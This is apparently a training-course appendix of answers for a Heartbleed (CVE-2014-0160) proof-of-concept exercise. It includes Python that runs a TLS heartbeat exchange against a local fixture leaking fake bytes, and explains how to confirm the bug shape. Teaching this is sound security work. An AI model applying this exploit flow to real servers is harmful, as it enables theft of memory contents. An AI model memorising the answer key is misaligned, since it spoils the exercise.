Appendix O — Heartbeat Proof of Concept Answers

Completed Check

A vulnerable-style response is a heartbeat record that returns more data than the client really sent. The fixture leaks harmless demo bytes so you can practise interpreting the result without touching a real service.

from fixtures.local_targets import HeartbleedFixtureSocket, heartbeat_request, parse_tls_record_header, recvall, tls_client_hello

sock = HeartbleedFixtureSocket(leak=b"fixture-only secret")
sock.send(tls_client_hello())
_, _, handshake_length = parse_tls_record_header(sock.recv(5))
recvall(sock, handshake_length)
sock.send(heartbeat_request())
content_type, _, heartbeat_length = parse_tls_record_header(sock.recv(5))
payload = recvall(sock, heartbeat_length)
print(content_type == 24)
print(payload[3:].decode("utf-8"))

True
fixture-only secret

The proof-of-concept is meaningful only after two checks: the response is a heartbeat record, and the payload contains bytes beyond the small echoed heartbeat payload. In this course those extra bytes are fake fixture data.

That second check matters. We’re not cheering because bytes arrived; we’re checking that the returned bytes match the bug shape we intended to demonstrate.

References: RFC 6520, RFC 5246, and NVD CVE-2014-0160.